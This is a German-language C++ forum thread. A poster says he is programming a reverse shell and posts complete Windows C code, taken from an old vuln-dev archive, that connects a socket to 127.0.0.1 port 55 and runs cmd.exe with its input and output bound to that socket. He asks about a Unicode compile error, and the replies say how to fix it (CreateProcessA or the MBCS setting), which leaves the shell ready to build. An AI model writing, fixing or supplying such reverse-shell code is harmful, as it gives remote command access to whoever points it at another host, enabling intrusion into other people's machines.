Problem mit CreateProcess und Visual Studios 10 Express
-
Hallo ich habe eben zufällig diese Beitrag entdeckt:
http://www.c-plusplus.net/forum/viewtopic-var-t-is-273821.html
Ich bin auch im moment dabei eine reverse shell zu Programmieren jedoch hatte ich auch das Problem das dass ganze ohne WSASocket nicht funktioniert.
Bevor ich meinen Code umschreibe wollte ich erst einmal das Beispiel von dieser Seite: http://archive.cert.uni-stuttgart.de/vuln-dev/2003/02/msg00013.html
test jedoch bekomme ich eine Compiler Fehlermeldung.
#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") void main(int argc, char *argv[]) { WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(55); adik_sin.sin_addr.s_addr = inet_addr("127.0.0.1"); connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0); }
Die Fehlermeldung:
------ Erstellen gestartet: Projekt: test, Konfiguration: Debug Win32 ------ test.cpp c:\dokumente und einstellungen\dominik\desktop\test2\test\test\test.cpp(25): error C2664: 'CreateProcessW': Konvertierung des Parameters 2 von 'const char [4]' in 'LPWSTR' nicht möglich Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat. ========== Erstellen: 0 erfolgreich, Fehler bei 1, 0 aktuell, 0 übersprungen ==========
Irgendwie werde ich aus der Fehlermeldung nicht schlau ...
-
Beschäftige DIch mal mit Unicode bzw. TCHAR oder verwende CreateProcessA...
-
Die einfachste Lösung wäre für dich wohl, in den Projekteinstellungen von Unicode auf MBCS umzustellen.